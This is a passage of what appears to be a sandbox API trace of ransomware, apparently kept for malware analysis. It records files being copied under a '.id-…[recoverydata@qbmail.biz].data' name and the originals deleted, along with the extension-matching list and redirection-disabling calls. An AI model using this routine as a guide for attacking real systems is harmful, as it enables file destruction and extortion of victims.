lpBuffer=0x3fea0b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fea0b0*, lpNumberOfBytesWritten=0x2dcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0099.728] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc7c | out: lpNewFilePointer=0x0) returned 1 [0099.728] WriteFile (in: hFile=0x1ac, lpBuffer=0x3fea0b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fea0b0*, lpNumberOfBytesWritten=0x2dcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0099.731] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3fea0b0 | out: hHeap=0x5b0000) returned 1 [0099.921] CloseHandle (hObject=0x1ac) returned 1 [0099.921] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0099.922] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0099.922] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0099.922] lstrlenW (lpString=".doc") returned 4 [0099.922] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0099.922] lstrlenW (lpString=".docx") returned 5 [0099.922] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0099.922] lstrlenW (lpString=".pdf") returned 4 [0099.922] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0099.922] lstrlenW (lpString=".xls") returned 4 [0099.922] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0099.922] lstrlenW (lpString=".xlsx") returned 5 [0099.922] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0099.922] lstrlenW (lpString=".ppt") returned 4 [0099.922] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0099.922] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0099.922] lstrlenW (lpString=".zip") returned 4 [0099.922] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0099.922] lstrlenW (lpString=".rar") returned 4 [0099.922] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0099.922] lstrlenW (lpString=".bz2") returned 4 [0099.923] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0099.923] lstrlenW (lpString=".7z") returned 3 [0099.923] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0099.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0099.923] lstrlenW (lpString=".dbf") returned 4 [0099.923] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0099.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0099.923] lstrlenW (lpString=".1cd") returned 4 [0099.923] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0099.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0099.923] lstrlenW (lpString=".jpg") returned 4 [0099.923] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0099.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0099.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0099.923] lstrlenW (lpString=".doc") returned 4 [0099.923] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0099.923] lstrlenW (lpString=".docx") returned 5 [0099.923] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0099.923] lstrlenW (lpString=".pdf") returned 4 [0099.923] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0099.923] lstrlenW (lpString=".xls") returned 4 [0099.923] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0099.923] lstrlenW (lpString=".xlsx") returned 5 [0099.923] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0099.923] lstrlenW (lpString=".ppt") returned 4 [0099.923] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0099.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0099.923] lstrlenW (lpString=".zip") returned 4 [0099.924] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0099.924] lstrlenW (lpString=".rar") returned 4 [0099.924] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0099.924] lstrlenW (lpString=".bz2") returned 4 [0099.924] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0099.924] lstrlenW (lpString=".7z") returned 3 [0099.924] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0099.924] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0099.924] lstrlenW (lpString=".dbf") returned 4 [0099.924] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0099.924] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0099.924] lstrlenW (lpString=".1cd") returned 4 [0099.924] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0099.924] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0099.924] lstrlenW (lpString=".jpg") returned 4 [0099.924] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0099.924] lstrcmpiW (lpString1=".xrm-ms", lpString2=".data") returned 1 [0099.924] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0099.924] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0099.925] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=715834) returned 1 [0099.925] CloseHandle (hObject=0x1ac) returned 1 [0099.925] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0099.925] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0099.925] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0099.925] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0099.925] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0099.925] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0099.926] GetLastError () returned 0x0 [0099.926] ReadFile (in: hFile=0x1ac, lpBuffer=0x3770020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3770020*, lpNumberOfBytesRead=0x2dcfed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0100.045] WriteFile (in: hFile=0x1d4, lpBuffer=0x3770020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3770020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0100.234] ReadFile (in: hFile=0x1ac, lpBuffer=0x3770020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3770020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0100.234] WriteFile (in: hFile=0x1d4, lpBuffer=0x3770020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3770020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x104, lpOverlapped=0x0) returned 1 [0100.234] SetEndOfFile (hFile=0x1d4) returned 1 [0100.234] CloseHandle (hObject=0x1d4) returned 1 [0100.234] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0100.234] SetEndOfFile (hFile=0x1ac) returned 1 [0100.290] CloseHandle (hObject=0x1ac) returned 1 [0100.290] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0100.291] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0100.291] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0100.291] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0100.291] lstrlenW (lpString=".doc") returned 4 [0100.291] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0100.291] lstrlenW (lpString=".docx") returned 5 [0100.291] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0100.292] lstrlenW (lpString=".pdf") returned 4 [0100.292] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0100.292] lstrlenW (lpString=".xls") returned 4 [0100.292] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0100.292] lstrlenW (lpString=".xlsx") returned 5 [0100.292] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0100.292] lstrlenW (lpString=".ppt") returned 4 [0100.292] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0100.292] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0100.292] lstrlenW (lpString=".zip") returned 4 [0100.292] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0100.292] lstrlenW (lpString=".rar") returned 4 [0100.292] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0100.292] lstrlenW (lpString=".bz2") returned 4 [0100.292] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0100.293] lstrlenW (lpString=".7z") returned 3 [0100.293] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0100.293] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0100.293] lstrlenW (lpString=".dbf") returned 4 [0100.293] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0100.293] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0100.293] lstrlenW (lpString=".1cd") returned 4 [0100.293] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0100.293] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0100.293] lstrlenW (lpString=".jpg") returned 4 [0100.293] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0100.293] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0100.294] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0100.294] lstrlenW (lpString=".doc") returned 4 [0100.294] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0100.294] lstrlenW (lpString=".docx") returned 5 [0100.294] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0100.294] lstrlenW (lpString=".pdf") returned 4 [0100.294] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0100.294] lstrlenW (lpString=".xls") returned 4 [0100.294] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0100.294] lstrlenW (lpString=".xlsx") returned 5 [0100.294] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0100.294] lstrlenW (lpString=".ppt") returned 4 [0100.294] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0100.295] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0100.295] lstrlenW (lpString=".zip") returned 4 [0100.295] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0100.295] lstrlenW (lpString=".rar") returned 4 [0100.295] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0100.295] lstrlenW (lpString=".bz2") returned 4 [0100.295] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0100.295] lstrlenW (lpString=".7z") returned 3 [0100.295] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0100.295] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0100.295] lstrlenW (lpString=".dbf") returned 4 [0100.295] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0100.295] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0100.295] lstrlenW (lpString=".1cd") returned 4 [0100.295] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0100.295] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0100.296] lstrlenW (lpString=".jpg") returned 4 [0100.296] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0100.296] lstrcmpiW (lpString1=".cab", lpString2=".data") returned -1 [0100.296] lstrlenW (lpString="ProPrWW.cab") returned 11 [0100.296] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 13 os_tid = 0x418 [0073.985] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10000) returned 0x695498 [0073.986] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10000) returned 0x3880048 [0073.987] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x602410 [0073.987] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x6028a0 [0073.987] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x602428 [0073.987] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100000) returned 0x3980020 [0073.988] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x602440 [0073.988] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x602440, Size=0x20) returned 0x609700 [0073.988] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x602440 [0073.988] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x602440, Size=0x20) returned 0x6096d8 [0073.988] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0073.988] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0073.988] Wow64DisableWow64FsRedirection (in: OldValue=0x2f0ff58 | out: OldValue=0x2f0ff58*=0x0) returned 1 [0073.988] lstrlenW (lpString="kernel32.dll") returned 12 [0073.988] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x609700 | out: hHeap=0x5b0000) returned 1 [0073.988] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0073.988] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6096d8 | out: hHeap=0x5b0000) returned 1 [0073.988] Sleep (dwMilliseconds=0x64) [0074.265] lstrcmpiW (lpString1=".BAK", lpString2=".data") returned -1 [0074.265] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0074.265] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0074.920] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=8192) returned 1 [0074.920] CloseHandle (hObject=0x190) returned 1 [0074.921] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0074.921] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\bootsect.bak.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0074.921] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0074.922] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0074.922] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.922] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.922] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\bootsect.bak.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0075.055] GetLastError () returned 0x0 [0075.055] ReadFile (in: hFile=0x190, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x2000, lpOverlapped=0x0) returned 1 [0075.083] WriteFile (in: hFile=0x18c, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0x2010, lpOverlapped=0x0) returned 1 [0075.085] ReadFile (in: hFile=0x190, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x0, lpOverlapped=0x0) returned 1 [0075.085] WriteFile (in: hFile=0x18c, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xec, lpOverlapped=0x0) returned 1 [0075.085] SetEndOfFile (hFile=0x18c) returned 1 [0075.085] CloseHandle (hObject=0x18c) returned 1 [0075.156] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0075.156] SetEndOfFile (hFile=0x190) returned 1 [0075.158] CloseHandle (hObject=0x190) returned 1 [0075.158] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x27) returned 1 [0075.207] DeleteFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0075.207] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0075.208] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0075.208] lstrlenW (lpString=".doc") returned 4 [0075.208] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0075.208] lstrlenW (lpString=".docx") returned 5 [0075.208] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0075.208] lstrlenW (lpString=".pdf") returned 4 [0075.208] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0075.208] lstrlenW (lpString=".xls") returned 4 [0075.208] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0075.208] lstrlenW (lpString=".xlsx") returned 5 [0075.208] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0075.208] lstrlenW (lpString=".ppt") returned 4 [0075.208] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0075.208] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0075.208] lstrlenW (lpString=".zip") returned 4 [0075.208] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0075.208] lstrlenW (lpString=".rar") returned 4 [0075.208] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0075.208] lstrlenW (lpString=".bz2") returned 4 [0075.208] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0075.208] lstrlenW (lpString=".7z") returned 3 [0075.208] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0075.208] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0075.208] lstrlenW (lpString=".dbf") returned 4 [0075.209] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0075.209] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0075.209] lstrlenW (lpString=".1cd") returned 4 [0075.209] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0075.209] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0075.209] lstrlenW (lpString=".jpg") returned 4 [0075.209] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0075.209] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0075.209] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0075.209] lstrlenW (lpString=".doc") returned 4 [0075.209] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0075.209] lstrlenW (lpString=".docx") returned 5 [0075.209] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0075.209] lstrlenW (lpString=".pdf") returned 4 [0075.209] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0075.209] lstrlenW (lpString=".xls") returned 4 [0075.209] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0075.209] lstrlenW (lpString=".xlsx") returned 5 [0075.209] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0075.209] lstrlenW (lpString=".ppt") returned 4 [0075.209] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0075.209] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0075.209] lstrlenW (lpString=".zip") returned 4 [0075.209] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0075.209] lstrlenW (lpString=".rar") returned 4 [0075.210] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0075.210] lstrlenW (lpString=".bz2") returned 4 [0075.210] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0075.210] lstrlenW (lpString=".7z") returned 3 [0075.210] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0075.210] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0075.210] lstrlenW (lpString=".dbf") returned 4 [0075.210] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0075.210] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0075.210] lstrlenW (lpString=".1cd") returned 4 [0075.210] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0075.210] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0075.210] lstrlenW (lpString=".jpg") returned 4 [0075.210] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0075.210] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0075.210] lstrlenW (lpString="Setup.xml") returned 9 [0075.210] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0075.529] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=1608) returned 1 [0075.529] CloseHandle (hObject=0x1d0) returned 1 [0075.529] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0075.529] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0075.530] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0075.530] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | 